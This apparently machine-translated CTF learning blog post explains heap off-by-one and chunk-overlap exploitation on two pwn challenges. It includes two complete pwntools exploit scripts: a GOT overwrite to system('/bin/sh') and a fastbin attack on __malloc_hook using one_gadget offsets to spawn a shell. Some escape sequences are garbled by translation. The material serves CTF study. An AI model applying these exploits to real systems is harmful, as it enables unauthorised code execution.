2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
My pwn skills are still very shallow, I am just recording some of my learning experiences.
As the study progresses, more knowledge points and questions will be added.
Study summary on off by null | ZIKH26
Chunk Extend and Overlapping | ctfwiki
Closely related to off-by-one is the Chunk Extend and Overlapping mentioned above.
This is often referred to as "overlapping blocks."
Why create overlapping blocks?
For example, if we want to rewrite the header fields of a chunk, that is, the prev_size and size segments, we cannot change them by directly applying.
One approach is to construct a misaligned fake chunk. Another simpler approach is to create overlapping chunks and modify the size bit so that the user data portion of a large chunk includes the header portion of the small chunk we want to modify.
I think this question is a good example of how to use off-by-one. The question is not difficult and the use point is quite clever.
Decompile to find vulnerabilities.
There is an artificial off-by-one here, and one more byte can be written here.
Back to the distribution of the topic,
First, a chunk of size 0x10 is allocated to store some information, and then a chunk is allocated for content.
Here gdb debugging is very clear
For example, the heap layout after I add(0x28,'0'), add(0x10,'1')
You can see that each time we add, we first malloc a chunk to store the heap block information at a low address, and then malloc a chunk to store the content.
Then notice that operations such as edit and show are all done throughHeap block informationThe structure is used to "index" the heap block information. If we want to leak libc, we can use the chunk of heap block information *content
The field is changed to the address of a function's got table. For example, this question uses atoi, so atoi_addr will be printed during show.
This involves a similar situation to the previous "a little understanding". We cannot directly modify the content of the chunk that "stores the heap block information", so we can use off-by-one to extend the heap block in a clever way.
For example, if we modify it like this, it can actually cause the expansion and overlap of the heap
Let's talk about the specific use below.
Both the information block and the content block will be freed, so at this time there are two bins of size 0x20 and 0x40 in fastbins
Of course, there are some details, such as the size selection of 0x18, 0x28 mentioned at the end, and the modification of the information heap block content is reservedsizeField (otherwise the final edit will not have the length for you to write) and so on.
Exp:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
There is actually another key point in this question, which is also the point that confused me at the beginning. The initial chunk0 add of ZIKH's EXP is 0x18. I changed it to 0x10, 0x20 in practice, but it didn't work when I changed it to 0x28.
Debugging found that when changing to 0x10, 0x20, our userdata will not enable the next chunkprev_sizeof.
When allocating 0x18, 0x28, the ptmalloc2 mechanism will reuse the prev_size segment of next_chunk
Emmm, in fact, in the final analysis, it is because I am not familiar enough with the heap. After all, if I only read the explanation on wiki, there are so many knowledge points and the details are also complicated, it is difficult to remember. Of course, I have encountered it in actual combat, and it is much better after debugging and reading it myself and understanding it.
The loophole in the question is here.
When a2-a1==10 in the if statement, that is, when the size input by edit is exactly 10 larger than the size input by add, there is an off-by-one.
Rough distribution structure
Still use the bss segment to store the chunk inuse and*content
We can still use off-by-one and 0x?8 size to reuse prev_size to forge prev_size and size to trigger forward (low address) merging
At this point, you can see the trigger merge by free(2) again.
At this time, we add(0x80) and then show(1), and we can actually print out the value of main_arena+88.
My understanding is that add(0x80) here splits the unsortedbin, so that the fd pointer (main_arena+88) is moved to the displayable chunk1 segment.
At this point, the base address of libc is leaked
The following operations feel like they involve a lot of overlapping heap blocks, so let’s take a look at the step-by-step debugging.
Heap layout when leaking libc
add(0x68)
(Cut a piece from unsortedbin)
free(1)
(fastbin 0x70)
edit(2,p64(malloc_hook-0x23))
(Here we use the fact that chunk2 of 0x68 requested in the previous step overlaps with chunk1 just freed (chunk1 was requested at the beginning))
add(0x68)
(apply back to chunk1, actually chunk2)
add(0x68)
(Apply back to fake_chunk at malloc_hook-0x23)
Then you need to use realloc to adjust the stack frame, and then you can getshell.
Then the local call can be connected, but the remote call cannot be connected.
I looked at Master ZIKH's Exp and found that I need to put the local
realloc = libcbase + libc.sym['realloc']
Change torealloc = libcbase + 0x846c0
Then you have to change the value of one_gadget
For example, these two one_gadgets have an offset. I don’t know why yet. Maybe it’s related to adjusting the stack frame? (I’ll learn about it later)
Open local Exp:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
local:
Remotely:
To sum up, it’s difficult.